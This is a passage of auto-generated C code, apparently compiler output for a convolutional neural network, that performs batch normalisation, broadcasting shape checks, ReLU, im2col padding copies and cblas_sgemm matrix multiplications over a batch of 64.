* sizeof(float));;\nfor(int x21948=0; x21948 < 2048; x21948++) {\nfloat x21949 = x21940[x21948];\ndouble x21950 = (double)x21949;\ndouble x21951 = sqrt(x21950);\nfloat x21952 = (float)x21951;\nx21947[x21948] = x21952;\n\n}\nint32_t x21956 = 0;\nint32_t x21957 = 1;\nx21957 *= 1;\nx21956 += 1;\nx21957 *= 1;\nx21957 *= 1;\nint32_t x21962 = x21956;\nbool x21963 = x21962 >= 2;\nif (x21963) {\nprintf(\"cannot have 2 or more -1s in resize!!\\n\");\nassert(false && \"\");\n} else {\n}\nbool x21968 = x21962 == 0;\nif (x21968) {\nint32_t x21969 = x21957;\nbool x21970 = x21969 == 2048;\nif (x21970) {\n} else {\nassert(false && \"must same size!!\");\n}\n} else {\n}\nint32_t x21977 = x21957;\nbool x21979 = x21893 == 1;\nint32_t x21978 = 2048 / x21977;\nbool x21980 = x21978 == 1;\nbool x21984;\nif (x454) {\nbool x21981 = x21979 || x21980;\nbool x21982 = x21893 == x21978;\nbool x21983 = x21981 || x21982;\nx21984 = x21983;\n} else {\nx21984 = false;\n}\nbool x21988;\nif (x21984) {\nx21988 = x21987;\n} else {\nx21988 = false;\n}\nbool x21989;\nif (x21988) {\nx21989 = x21987;\n} else {\nx21989 = false;\n}\nif (x21989) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d,%d,%d,%d, with %d,%d,%d,%d,\\n\",64,x21893,x21895,x21895,1,x21978,1,1);\nassert(false && \"\");\n}\nbool x21995 = x21893 <= x21978;\nint32_t x21996;\nif (x21995) {\nx21996 = x21978;\n} else {\nx21996 = x21893;\n}\nint32_t x22005 = x21996 * x22004;\nint32_t x22006 = 64 * x22005;\nfloat* x22007 = (float*)myMalloc(x22006 * sizeof(float));;\nint32_t x22008;\nif (x21979) {\nx22008 = 0;\n} else {\nx22008 = x21901;\n}\nint32_t x22011;\nif (x21980) {\nx22011 = 0;\n} else {\nx22011 = 1;\n}\nfor(int x22012=0; x22012 < 64; x22012++) {\nint32_t x22024 = x21902 * x22012;\nint32_t x22018 = x22005 * x22012;\nfor(int x22014=0; x22014 < x21996; x22014++) {\nint32_t x22025 = x22008 * x22014;\nint32_t x22026 = x22024 + x22025;\nint32_t x22031 = x22011 * x22014;\nint32_t x22020 = x22004 * x22014;\nfor(int x22016=0; x22016 < x21998; x22016++) {\nint32_t x22027 = x22009 * x22016;\nint32_t x22028 = x22026 + x22027;\nint32_t x22022 = x21998 * x22016;\nfor(int x22017=0; x22017 < x21998; x22017++) {\nint32_t x22029 = x22010 * x22017;\nint32_t x22030 = x22028 + x22029;\nfloat x22032 = x21904[x22030];\nfloat x22033 = x21947[x22031];\nint32_t x22019 = x22017 + x22018;\nint32_t x22021 = x22019 + x22020;\nint32_t x22023 = x22021 + x22022;\nfloat x22034 = x22032 / x22033;\nx22007[x22023] = x22034;\n\n}\n\n}\n\n}\n\n}\nint32_t x22044 = 0;\nint32_t x22045 = 1;\nx22045 *= 1;\nx22044 += 1;\nx22045 *= 1;\nx22045 *= 1;\nint32_t x22050 = x22044;\nbool x22051 = x22050 >= 2;\nif (x22051) {\nprintf(\"cannot have 2 or more -1s in resize!!\\n\");\nassert(false && \"\");\n} else {\n}\nbool x22056 = x22050 == 0;\nif (x22056) {\nint32_t x22057 = x22045;\nbool x22058 = x22057 == 2048;\nif (x22058) {\n} else {\nassert(false && \"must same size!!\");\n}\n} else {\n}\nint32_t x22065 = x22045;\nbool x22067 = x21996 == 1;\nint32_t x22066 = 2048 / x22065;\nbool x22068 = x22066 == 1;\nbool x22072;\nif (x454) {\nbool x22069 = x22067 || x22068;\nbool x22070 = x21996 == x22066;\nbool x22071 = x22069 || x22070;\nx22072 = x22071;\n} else {\nx22072 = false;\n}\nbool x22076;\nif (x22072) {\nx22076 = x22075;\n} else {\nx22076 = false;\n}\nbool x22077;\nif (x22076) {\nx22077 = x22075;\n} else {\nx22077 = false;\n}\nif (x22077) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d,%d,%d,%d, with %d,%d,%d,%d,\\n\",64,x21996,x21998,x21998,1,x22066,1,1);\nassert(false && \"\");\n}\nbool x22083 = x21996 <= x22066;\nint32_t x22084;\nif (x22083) {\nx22084 = x22066;\n} else {\nx22084 = x21996;\n}\nint32_t x22093 = x22084 * x22092;\nint32_t x22094 = 64 * x22093;\nfloat* x22095 = (float*)myMalloc(x22094 * sizeof(float));;\nint32_t x22096;\nif (x22067) {\nx22096 = 0;\n} else {\nx22096 = x22004;\n}\nint32_t x22099;\nif (x22068) {\nx22099 = 0;\n} else {\nx22099 = 1;\n}\nfor(int x22100=0; x22100 < 64; x22100++) {\nint32_t x22112 = x22005 * x22100;\nint32_t x22106 = x22093 * x22100;\nfor(int x22102=0; x22102 < x22084; x22102++) {\nint32_t x22113 = x22096 * x22102;\nint32_t x22114 = x22112 + x22113;\nint32_t x22119 = x22099 * x22102;\nint32_t x22108 = x22092 * x22102;\nfor(int x22104=0; x22104 < x22086; x22104++) {\nint32_t x22115 = x22097 * x22104;\nint32_t x22116 = x22114 + x22115;\nint32_t x22110 = x22086 * x22104;\nfor(int x22105=0; x22105 < x22086; x22105++) {\nint32_t x22117 = x22098 * x22105;\nint32_t x22118 = x22116 + x22117;\nfloat x22120 = x22007[x22118];\nfloat x22121 = x173[x22119];\nint32_t x22107 = x22105 + x22106;\nint32_t x22109 = x22107 + x22108;\nint32_t x22111 = x22109 + x22110;\nfloat x22122 = x22120 * x22121;\nx22095[x22111] = x22122;\n\n}\n\n}\n\n}\n\n}\nint32_t x22132 = 0;\nint32_t x22133 = 1;\nx22133 *= 1;\nx22132 += 1;\nx22133 *= 1;\nx22133 *= 1;\nint32_t x22138 = x22132;\nbool x22139 = x22138 >= 2;\nif (x22139) {\nprintf(\"cannot have 2 or more -1s in resize!!\\n\");\nassert(false && \"\");\n} else {\n}\nbool x22144 = x22138 == 0;\nif (x22144) {\nint32_t x22145 = x22133;\nbool x22146 = x22145 == 2048;\nif (x22146) {\n} else {\nassert(false && \"must same size!!\");\n}\n} else {\n}\nint32_t x22153 = x22133;\nbool x22155 = x22084 == 1;\nint32_t x22154 = 2048 / x22153;\nbool x22156 = x22154 == 1;\nbool x22160;\nif (x454) {\nbool x22157 = x22155 || x22156;\nbool x22158 = x22084 == x22154;\nbool x22159 = x22157 || x22158;\nx22160 = x22159;\n} else {\nx22160 = false;\n}\nbool x22164;\nif (x22160) {\nx22164 = x22163;\n} else {\nx22164 = false;\n}\nbool x22165;\nif (x22164) {\nx22165 = x22163;\n} else {\nx22165 = false;\n}\nif (x22165) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d,%d,%d,%d, with %d,%d,%d,%d,\\n\",64,x22084,x22086,x22086,1,x22154,1,1);\nassert(false && \"\");\n}\nbool x22171 = x22084 <= x22154;\nint32_t x22172;\nif (x22171) {\nx22172 = x22154;\n} else {\nx22172 = x22084;\n}\nint32_t x22181 = x22172 * x22180;\nint32_t x22182 = 64 * x22181;\nfloat* x22183 = (float*)myMalloc(x22182 * sizeof(float));;\nint32_t x22184;\nif (x22155) {\nx22184 = 0;\n} else {\nx22184 = x22092;\n}\nint32_t x22187;\nif (x22156) {\nx22187 = 0;\n} else {\nx22187 = 1;\n}\nfor(int x22188=0; x22188 < 64; x22188++) {\nint32_t x22200 = x22093 * x22188;\nint32_t x22194 = x22181 * x22188;\nfor(int x22190=0; x22190 < x22172; x22190++) {\nint32_t x22201 = x22184 * x22190;\nint32_t x22202 = x22200 + x22201;\nint32_t x22207 = x22187 * x22190;\nint32_t x22196 = x22180 * x22190;\nfor(int x22192=0; x22192 < x22174; x22192++) {\nint32_t x22203 = x22185 * x22192;\nint32_t x22204 = x22202 + x22203;\nint32_t x22198 = x22174 * x22192;\nfor(int x22193=0; x22193 < x22174; x22193++) {\nint32_t x22205 = x22186 * x22193;\nint32_t x22206 = x22204 + x22205;\nfloat x22208 = x22095[x22206];\nfloat x22209 = x107[x22207];\nint32_t x22195 = x22193 + x22194;\nint32_t x22197 = x22195 + x22196;\nint32_t x22199 = x22197 + x22198;\nfloat x22210 = x22208 + x22209;\nx22183[x22199] = x22210;\n\n}\n\n}\n\n}\n\n}\nbool x22220 = x21748 == 1;\nbool x22221 = x22172 == 1;\nbool x22222 = x22220 || x22221;\nbool x22223 = x21748 == x22172;\nbool x22224 = x22222 || x22223;\nbool x22230;\nif (x22224) {\nx22230 = x22229;\n} else {\nx22230 = false;\n}\nbool x22231;\nif (x22230) {\nx22231 = x22229;\n} else {\nx22231 = false;\n}\nif (x22231) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d,%d,%d,%d, with %d,%d,%d,%d,\\n\",64,x21748,x21750,x21750,64,x22172,x22174,x22174);\nassert(false && \"\");\n}\nbool x22237 = x21748 <= x22172;\nint32_t x22238;\nif (x22237) {\nx22238 = x22172;\n} else {\nx22238 = x21748;\n}\nint32_t x22254;\nif (x22220) {\nx22254 = 0;\n} else {\nx22254 = x21756;\n}\nint32_t x22257;\nif (x22221) {\nx22257 = 0;\n} else {\nx22257 = x22180;\n}\nfor(int x22260=0; x22260 < 64; x22260++) {\nint32_t x22266 = x21757 * x22260;\nint32_t x22273 = x22181 * x22260;\nfor(int x22262=0; x22262 < x22238; x22262++) {\nint32_t x22267 = x22254 * x22262;\nint32_t x22268 = x22266 + x22267;\nint32_t x22274 = x22257 * x22262;\nint32_t x22275 = x22273 + x22274;\nfor(int x22264=0; x22264 < x22240; x22264++) {\nint32_t x22269 = x22255 * x22264;\nint32_t x22270 = x22268 + x22269;\nint32_t x22276 = x22258 * x22264;\nint32_t x22277 = x22275 + x22276;\nfor(int x22265=0; x22265 < x22240; x22265++) {\nint32_t x22271 = x22256 * x22265;\nint32_t x22272 = x22270 + x22271;\nfloat x22280 = x21759[x22272];\nint32_t x22278 = x22259 * x22265;\nint32_t x22279 = x22277 + x22278;\nfloat x22281 = x22183[x22279];\nfloat x22282 = x22280 + x22281;\nx21759[x22272] = x22282;\n\n}\n\n}\n\n}\n\n}\nfloat* x22292 = (float*)myMalloc(x21758 * sizeof(float));;\nfor(int x22294=0; x22294 < x21758; x22294++) {\nfloat x22295 = x21759[x22294];\nbool x22296 = x22295 < 0.0f;\nif (x22296) {\nx22292[x22294] = 0.0f;\n} else {\nfloat x22299 = x21759[x22294];\nx22292[x22294] = x22299;\n}\n\n}\nfloat* x22313 = (float*)myMalloc(x22312 * sizeof(float));;\nint32_t x22316 = 64 * x21748;\nint32_t x22317 = x22316 * x22308;\nfloat* x22318 = (float*)myMalloc(x22317 * sizeof(float));;\nint32_t x22314 = x21748 * x22308;\nfor(int x22319=0; x22319 < 64; x22319++) {\nint32_t x22320 = x22319 * x21757;\nfloat* x22321 = x22292+x22320;\nint32_t x22322 = x22319 * x22309;\nfloat* x22323 = x22313+x22322;\nint32_t x22324 = x22319 * x22314;\nfloat* x22325 = x22318+x22324;\nfor(int x22326=0; x22326 < x21748; x22326++) {\nint32_t x22327 = x22326 / 1;\nint32_t x22331 = x22327 * x22307;\nint32_t x22332 = x22331 * x22307;\nint32_t x22328 = x22326 % 1;\nint32_t x22329 = x22328 / 1;\nint32_t x22333 = x22329 * x22307;\nint32_t x22334 = x22333 * x22307;\nint32_t x22335 = x22332 + x22334;\nint32_t x22330 = x22328 % 1;\nint32_t x22336 = x22330 * x22307;\nint32_t x22337 = x22336 * x22307;\nint32_t x22338 = x22335 + x22337;\nfloat* x22339 = x22325+x22338;\nint32_t x22340 = x22327 * x21750;\nint32_t x22341 = x22340 * x21750;\nfloat* x22342 = x22321+x22341;\nfor(int x22344=0; x22344 < x22307; x22344++) {\nint32_t x22346 = x22344 * x22307;\nfloat* x22347 = x22339+x22346;\nint32_t x22345 = x22344 + x22329;\nint32_t x22348 = x22345 * x21750;\nint32_t x22349 = x22348 + x22330;\nfloat* x22350 = x22342+x22349;\nmemcpy(x22347, x22350, 4 * x22307);;\n\n}\n\n}\ncblas_sgemm(CblasRowMajor, CblasNoTrans, CblasNoTrans, 512,x22308,x21748,1,x215,x21748,x22325,x22308,1,x22323,x22308);\n\n}\nint32_t x22359 = 0;\nint32_t x22360 = 1;\nx22360 *= 1;\nx22359 += 1;\nx22360 *= 1;\nx22360 *= 1;\nint32_t x22365 = x22359;\nbool x22366 = x22365 >= 2;\nif (x22366) {\nprintf(\"cannot have 2 or more -1s in resize!!\\n\");\nassert(false && \"\");\n} else {\n}\nbool x22371 = x22365 == 0;\nif (x22371) {\nint32_t x22372 = x22360;\nbool x22373 = x22372 == 512;\nif (x22373) {\n} else {\nassert(false && \"must same size!!\");\n}\n} else {\n}\nint32_t x22380 = x22360;\nint32_t x22381 = 512 / x22380;\nbool x22382 = x22381 == 1;\nbool x22385;\nif (x454) {\nbool x22383 = 512 == x22381;\nbool x22384 = x22382 || x22383;\nx22385 = x22384;\n} else {\nx22385 = false;\n}\nbool x22389;\nif (x22385) {\nx22389 = x22388;\n} else {\nx22389 = false;\n}\nbool x22390;\nif (x22389) {\nx22390 = x22388;\n} else {\nx22390 = false;\n}\nif (x22390) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d,%d,%d,%d, with %d,%d,%d,%d,\\n\",64,512,x22307,x22307,1,x22381,1,1);\nassert(false && \"\");\n}\nbool x22396 = 512 <= x22381;\nint32_t x22397;\nif (x22396) {\nx22397 = x22381;\n} else {\nx22397 = 512;\n}\nint32_t x22406 = x22397 * x22405;\nint32_t x22407 = 64 * x22406;\nfloat* x22408 = (float*)myMalloc(x22407 * sizeof(float));;\nint32_t x22411;\nif (x22382) {\nx22411 = 0;\n} else {\nx22411 = 1;\n}\nfor(int x22412=0; x22412 < 64; x22412++) {\nint32_t x22424 = x22309 * x22412;\nint32_t x22418 = x22406 * x22412;\nfor(int x22414=0; x22414 < x22397; x22414++) {\nint32_t x22425 = x22308 * x22414;\nint32_t x22426 = x22424 + x22425;\nint32_t x22431 = x22411 * x22414;\nint32_t x22420 = x22405 * x22414;\nfor(int x22416=0; x22416 < x22399; x22416++) {\nint32_t x22427 = x22409 * x22416;\nint32_t x22428 = x22426 + x22427;\nint32_t x22422 = x22399 * x22416;\nfor(int x22417=0; x22417 < x22399; x22417++) {\nint32_t x22429 = x22410 * x22417;\nint32_t x22430 = x22428 + x22429;\nfloat x22432 = x22313[x22430];\nfloat x22433 = x154[x22431];\nint32_t x22419 = x22417 + x22418;\nint32_t x22421 = x22419 + x22420;\nint32_t x22423 = x22421 + x22422;\nfloat x22434 = x22432 - x22433;\nx22408[x22423] = x22434;\n\n}\n\n}\n\n}\n\n}\nfloat* x22444 = (float*)myMalloc(512 * sizeof(float));;\nfor(int x22445=0; x22445 < 512; x22445++) {\nfloat x22446 = x65[x22445];\nfloat x22447 = x22446 + 1.0E-5f;\nx22444[x22445] = x22447;\n\n}\nfloat* x22451 = (float*)myMalloc(512 * sizeof(float));;\nfor(int x22452=0; x22452 < 512; x22452++) {\nfloat x22453 = x22444[x22452];\ndouble x22454 = (double)x22453;\ndouble x22455 = sqrt(x22454);\nfloat x22456 = (float)x22455;\nx22451[x22452] = x22456;\n\n}\nint32_t x22460 = 0;\nint32_t x22461 = 1;\nx22461 *= 1;\nx22460 += 1;\nx22461 *= 1;\nx22461 *= 1;\nint32_t x22466 = x22460;\nbool x22467 = x22466 >= 2;\nif (x22467) {\nprintf(\"cannot have 2 or more -1s in resize!!\\n\");\nassert(false && \"\");\n} else {\n}\nbool x22472 = x22466 == 0;\nif (x22472) {\nint32_t x22473 = x22461;\nbool x22474 = x22473 == 512;\nif (x22474) {\n} else {\nassert(false && \"must same size!!\");\n}\n} else {\n}\nint32_t x22481 = x22461;\nbool x22483 = x22397 == 1;\nint32_t x22482 = 512 / x22481;\nbool x22484 = x22482 == 1;\nbool x22488;\nif (x454) {\nbool x22485 = x22483 || x22484;\nbool x22486 = x22397 == x22482;\nbool x22487 = x22485 || x22486;\nx22488 = x22487;\n} else {\nx22488 = false;\n}\nbool x22492;\nif (x22488) {\nx22492 = x22491;\n} else {\nx22492 = false;\n}\nbool x22493;\nif (x22492) {\nx22493 = x22491;\n} else {\nx22493 = false;\n}\nif (x22493) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d,%d,%d,%d, with %d,%d,%d,%d,\\n\",64,x22397,x22399,x22399,1,x22482,1,1);\nassert(false && \"\");\n}\nbool x22499 = x22397 <= x22482;\nint32_t x22500;\nif (x22499) {\nx22500 = x22482;\n} else {\nx22500 = x22397;\n}\nint32_t x22509 = x22500 * x22508;\nint32_t x22510 = 64 * x22509;\nfloat* x22511 = (float*)myMalloc(x22510 * sizeof(float));;\nint32_t x22512;\nif (x22483) {\nx22512 = 0;\n} else {\nx22512 = x22405;\n}\nint32_t x22515;\nif (x22484) {\nx22515 = 0;\n} else {\nx22515 = 1;\n}\nfor(int x22516=0; x22516 < 64; x22516++) {\nint32_t x22528 = x22406 * x22516;\nint32_t x22522 = x22509 * x22516;\nfor(int x22518=0; x22518 < x22500; x22518++) {\nint32_t x22529 = x22512 * x22518;\nint32_t x22530 = x22528 + x22529;\nint32_t x22535 = x22515 * x22518;\nint32_t x22524 = x22508 * x22518;\nfor(int x22520=0; x22520 < x22502; x22520++) {\nint32_t x22531 = x22513 * x22520;\nint32_t x22532 = x22530 + x22531;\nint32_t x22526 = x22502 * x22520;\nfor(int x22521=0; x22521 < x22502; x22521++) {\nint32_t x22533 = x22514 * x22521;\nint32_t x22534 = x22532 + x22533;\nfloat x22536 = x22408[x22534];\nfloat x22537 = x22451[x22535];\nint32_t x22523 = x22521 + x22522;\nint32_t x22525 = x22523 + x22524;\nint32_t x22527 = x22525 + x22526;\nfloat x22538 = x22536 / x22537;\nx22511[x22527] = x22538;\n\n}\n\n}\n\n}\n\n}\nint32_t x22548 = 0;\nint32_t x22549 = 1;\nx22549 *= 1;\nx22548 += 1;\nx22549 *= 1;\nx22549 *= 1;\nint32_t x22554 = x22548;\nbool x22555 = x22554 >= 2;\nif (x22555) {\nprintf(\"cannot have 2 or more -1s in resize!!\\n\");\nassert(false && \"\");\n} else {\n}\nbool x22560 = x22554 == 0;\nif (x22560) {\nint32_t x22561 = x22549;\nbool x22562 = x22561 == 512;\nif (x22562) {\n} else {\nassert(false && \"must same size!!\");\n}\n} else {\n}\nint32_t x22569 = x22549;\nbool x22571 = x22500 == 1;\nint32_t x22570 = 512 / x22569;\nbool x22572 = x22570 == 1;\nbool x22576;\nif (x454) {\nbool x22573 = x22571 || x22572;\nbool x22574 = x22500 == x22570;\nbool x22575 = x22573 || x22574;\nx22576 = x22575;\n} else {\nx22576 = false;\n}\nbool x22580;\nif (x22576) {\nx22580 = x22579;\n} else {\nx22580 = false;\n}\nbool x22581;\nif (x22580) {\nx22581 = x22579;\n} else {\nx22581 = false;\n}\nif (x22581) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d,%d,%d,%d, with %d,%d,%d,%d,\\n\",64,x22500,x22502,x22502,1,x22570,1,1);\nassert(false && \"\");\n}\nbool x22587 = x22500 <= x22570;\nint32_t x22588;\nif (x22587) {\nx22588 = x22570;\n} else {\nx22588 = x22500;\n}\nint32_t x22597 = x22588 * x22596;\nint32_t x22598 = 64 * x22597;\nfloat* x22599 = (float*)myMalloc(x22598 * sizeof(float));;\nint32_t x22600;\nif (x22571) {\nx22600 = 0;\n} else {\nx22600 = x22508;\n}\nint32_t x22603;\nif (x22572) {\nx22603 = 0;\n} else {\nx22603 = 1;\n}\nfor(int x22604=0; x22604 < 64; x22604++) {\nint32_t x22616 = x22509 * x22604;\nint32_t x22610 = x22597 * x22604;\nfor(int x22606=0; x22606 < x22588; x22606++) {\nint32_t x22617 = x22600 * x22606;\nint32_t x22618 = x22616 + x22617;\nint32_t x22623 = x22603 * x22606;\nint32_t x22612 = x22596 * x22606;\nfor(int x22608=0; x22608 < x22590; x22608++) {\nint32_t x22619 = x22601 * x22608;\nint32_t x22620 = x22618 + x22619;\nint32_t x22614 = x22590 * x22608;\nfor(int x22609=0; x22609 < x22590; x22609++) {\nint32_t x22621 = x22602 * x22609;\nint32_t x22622 = x22620 + x22621;\nfloat x22624 = x22511[x22622];\nfloat x22625 = x46[x22623];\nint32_t x22611 = x22609 + x22610;\nint32_t x22613 = x22611 + x22612;\nint32_t x22615 = x22613 + x22614;\nfloat x22626 = x22624 * x22625;\nx22599[x22615] = x22626;\n\n}\n\n}\n\n}\n\n}\nint32_t x22636 = 0;\nint32_t x22637 = 1;\nx22637 *= 1;\nx22636 += 1;\nx22637 *= 1;\nx22637 *= 1;\nint32_t x22642 = x22636;\nbool x22643 = x22642 >= 2;\nif (x22643) {\nprintf(\"cannot have 2 or more -1s in resize!!\\n\");\nassert(false && \"\");\n} else {\n}\nbool x22648 = x22642 == 0;\nif (x22648) {\nint32_t x22649 = x22637;\nbool x22650 = x22649 == 512;\nif (x22650) {\n} else {\nassert(false && \"must same size!!\");\n}\n} else {\n}\nint32_t x22657 = x22637;\nbool x22659 = x22588 == 1;\nint32_t x22658 = 512 / x22657;\nbool x22660 = x22658 == 1;\nbool x22664;\nif (x454) {\nbool x22661 = x22659 || x22660;\nbool x22662 = x22588 == x22658;\nbool x22663 = x22661 || x22662;\nx22664 = x22663;\n} else {\nx22664 = false;\n}\nbool x22668;\nif (x22664) {\nx22668 = x22667;\n} else {\nx22668 = false;\n}\nbool x22669;\nif (x22668) {\nx22669 = x22667;\n} else {\nx22669 = false;\n}\nif (x22669) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d,%d,%d,%d, with %d,%d,%d,%d,\\n\",64,x22588,x22590,x22590,1,x22658,1,1);\nassert(false && \"\");\n}\nbool x22675 = x22588 <= x22658;\nint32_t x22676;\nif (x22675) {\nx22676 = x22658;\n} else {\nx22676 = x22588;\n}\nint32_t x22685 = x22676 * x22684;\nint32_t x22686 = 64 * x22685;\nfloat* x22687 = (float*)myMalloc(x22686 * sizeof(float));;\nint32_t x22688;\nif (x22659) {\nx22688 = 0;\n} else {\nx22688 = x22596;\n}\nint32_t x22691;\nif (x22660) {\nx22691 = 0;\n} else {\nx22691 = 1;\n}\nfor(int x22692=0; x22692 < 64; x22692++) {\nint32_t x22704 = x22597 * x22692;\nint32_t x22698 = x22685 * x22692;\nfor(int x22694=0; x22694 < x22676; x22694++) {\nint32_t x22705 = x22688 * x22694;\nint32_t x22706 = x22704 + x22705;\nint32_t x22711 = x22691 * x22694;\nint32_t x22700 = x22684 * x22694;\nfor(int x22696=0; x22696 < x22678; x22696++) {\nint32_t x22707 = x22689 * x22696;\nint32_t x22708 = x22706 + x22707;\nint32_t x22702 = x22678 * x22696;\nfor(int x22697=0; x22697 < x22678; x22697++) {\nint32_t x22709 = x22690 * x22697;\nint32_t x22710 = x22708 + x22709;\nfloat x22712 = x22599[x22710];\nfloat x22713 = x137[x22711];\nint32_t x22699 = x22697 + x22698;\nint32_t x22701 = x22699 + x22700;\nint32_t x22703 = x22701 + x22702;\nfloat x22714 = x22712 + x22713;\nx22687[x22703] = x22714;\n\n}\n\n}\n\n}\n\n}\nfloat* x22724 = (float*)myMalloc(x22686 * sizeof(float));;\nfor(int x22726=0; x22726 < x22686; x22726++) {\nfloat x22727 = x22687[x22726];\nbool x22728 = x22727 < 0.0f;\nif (x22728) {\nx22724[x22726] = 0.0f;\n} else {\nfloat x22731 = x22687[x22726];\nx22724[x22726] = x22731;\n}\n\n}\nfloat* x22746 = (float*)myMalloc(x22745 * sizeof(float));;\nint32_t x22747 = 9 * x22676;\nint32_t x22750 = 64 * x22747;\nint32_t x22751 = x22750 * x22741;\nfloat* x22752 = (float*)myMalloc(x22751 * sizeof(float));;\nint32_t x22748 = x22747 * x22741;\nint32_t x22760 = x22676 * 3;\nint32_t x22761 = x22760 * 3;\nfor(int x22753=0; x22753 < 64; x22753++) {\nint32_t x22754 = x22753 * x22685;\nfloat* x22755 = x22724+x22754;\nint32_t x22756 = x22753 * x22742;\nfloat* x22757 = x22746+x22756;\nint32_t x22758 = x22753 * x22748;\nfloat* x22759 = x22752+x22758;\nfor(int x22763=0; x22763 < x22761; x22763++) {\nint32_t x22764 = x22763 / 9;\nint32_t x22768 = x22764 * 3;\nint32_t x22769 = x22768 * 3;\nint32_t x22770 = x22769 * x22740;\nint32_t x22771 = x22770 * x22740;\nint32_t x22765 = x22763 % 9;\nint32_t x22766 = x22765 / 3;\nint32_t x22772 = x22766 * 3;\nint32_t x22773 = x22772 * x22740;\nint32_t x22774 = x22773 * x22740;\nint32_t x22775 = x22771 + x22774;\nint32_t x22767 = x22765 % 3;\nint32_t x22776 = x22767 * x22740;\nint32_t x22777 = x22776 * x22740;\nint32_t x22778 = x22775 + x22777;\nfloat* x22779 = x22759+x22778;\nint32_t x22780 = x22764 * x22678;\nint32_t x22781 = x22780 * x22678;\nfloat* x22782 = x22755+x22781;\nint32_t x22795 = 1 - x22767;\nbool x22796 = x22795 > 0;\nint32_t x22797;\nif (x22796) {\nx22797 = x22795;\n} else {\nx22797 = 0;\n}\nint32_t x22798 = 3 - x22767;\nint32_t x22799 = x22798 - 1;\nint32_t x22800 = 1 - x22799;\nbool x22801 = x22800 > 0;\nint32_t x22802;\nif (x22801) {\nx22802 = x22800;\n} else {\nx22802 = 0;\n}\nint32_t x22803 = x22740 - x22802;\nint32_t x22804 = x22803 - x22797;\nbool x22805 = x22804 <= 0;\nbool x22809 = x22797 > 0;\nint32_t x22794 = -1 + x22767;\nbool x22822 = x22802 > 0;\nfor(int x22784=0; x22784 < x22740; x22784++) {\nint32_t x22785 = x22784 - 1;\nint32_t x22786 = x22785 + x22766;\nbool x22787 = x22786 < 0;\nbool x22788 = x22786 >= x22678;\nbool x22789 = x22787 || x22788;\nif (x22789) {\nint32_t x22790 = x22784 * x22740;\nfloat* x22791 = x22779+x22790;\nmemset(x22791, 0, 4 * x22740);;\n} else {\nif (x22805) {\nint32_t x22790 = x22784 * x22740;\nfloat* x22806 = x22779+x22790;\nmemset(x22806, 0, 4 * x22740);;\n} else {\nint32_t x22790 = x22784 * x22740;\nif (x22809) {\nfloat* x22810 = x22779+x22790;\nmemset(x22810, 0, 4 * x22797);;\n} else {\n}\n// may have segfault here\nint32_t x22815 = x22790 + x22797;\nfloat* x22816 = x22779+x22815;\nint32_t x22817 = x22786 * x22678;\nint32_t x22818 = x22817 + x22794;\nint32_t x22819 = x22818 + x22797;\nfloat* x22820 = x22782+x22819;\nmemcpy(x22816, x22820, 4 * x22804);;\nif (x22822) {\nint32_t x22823 = x22790 + x22740;\nint32_t x22824 = x22823 - x22802;\nfloat* x22825 = x22779+x22824;\nmemset(x22825, 0, 4 * x22802);;\n} else {\n}\n}\n}\n\n}\n\n}\ncblas_sgemm(CblasRowMajor, CblasNoTrans, CblasNoTrans, 512,x22741,x22747,1,x155,x22747,x22759,x22741,1,x22757,x22741);\n\n}\nint32_t x22840 = 0;\nint32_t x22841 = 1;\nx22841 *= 1;\nx22840 += 1;\nx22841 *= 1;\nx22841 *= 1;\nint32_t x22846 = x22840;\nbool x22847 = x22846 >= 2;\nif (x22847) {\nprintf(\"cannot have 2 or more -1s in resize!!\\n\");\nassert(false && \"\");\n} else {\n}\nbool x22852 = x22846 == 0;\nif (x22852) {\nint32_t x22853 = x22841;\nbool x22854 = x22853 == 512;\nif (x22854) {\n} else {\nassert(false && \"must same size!!\");\n}\n} else {\n}\nint32_t x22861 = x22841;\nint32_t x22862 = 512 / x22861;\nbool x22863 = x22862 == 1;\nbool x22866;\nif (x454) {\nbool x22864 = 512 == x22862;\nbool x22865 = x22863 || x22864;\nx22866 = x22865;\n} else {\nx22866 = false;\n}\nbool x22870;\nif (x22866) {\nx22870 = x22869;\n} else {\nx22870 = false;\n}\nbool x22871;\nif (x22870) {\nx22871 = x22869;\n} else {\nx22871 = false;\n}\nif (x22871) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d,%d,%d,%d, with %d,%d,%d,%d,\\n\",64,512,x22740,x22740,1,x22862,1,1);\nassert(false && \"\");\n}\nbool x22877 = 512 <= x22862;\nint32_t x22878;\nif (x22877) {\nx22878 = x22862;\n} else {\nx22878 = 512;\n}\nint32_t x22887 = x22878 * x22886;\nint32_t x22888 = 64 * x22887;\nfloat* x22889 = (float*)myMalloc(x22888 * sizeof(float));;\nint32_t x22892;\nif (x22863) {\nx22892 = 0;\n} else {\nx22892 = 1;\n}\nfor(int x22893=0; x22893 < 64; x22893++) {\nint32_t x22905 = x22742 * x22893;\nint32_t x22899 = x22887 * x22893;\nfor(int x22895=0; x22895 < x22878; x22895++) {\nint32_t x22906 = x22741 * x22895;\nint32_t x22907 = x22905 + x22906;\nint32_t x22912 = x22892 * x22895;\nint32_t x22901 = x22886 * x22895;\nfor(int x22897=0; x22897 < x22880; x22897++) {\nint32_t x22908 = x22890 * x22897;\nint32_t x22909 = x22907 + x22908;\nint32_t x22903 = x22880 * x22897;\nfor(int x22898=0; x22898 < x22880; x22898++) {\nint32_t x22910 = x22891 * x22898;\nint32_t x22911 = x22909 + x22910;\nfloat x22913 = x22746[x22911];\nfloat x22914 = x138[x22912];\nint32_t x22900 = x22898 + x22899;\nint32_t x22902 = x22900 + x22901;\nint32_t x22904 = x22902 + x22903;\nfloat x22915 = x22913 - x22914;\nx22889[x22904] = x22915;\n\n}\n\n}\n\n}\n\n}\nfloat* x22925 = (float*)myMalloc(512 * sizeof(float));;\nfor(int x22926=0; x22926 < 512; x22926++) {\nfloat x22927 = x195[x22926];\nfloat x22928 = x22927 + 1.0E-5f;\nx22925[x22926] = x22928;\n\n}\nfloat* x22932 = (float*)myMalloc(512 * sizeof(float));;\nfor(int x22933=0; x22933 < 512; x22933++) {\nfloat x22934 = x22925[x22933];\ndouble x22935 = (double)x22934;\ndouble x22936 = 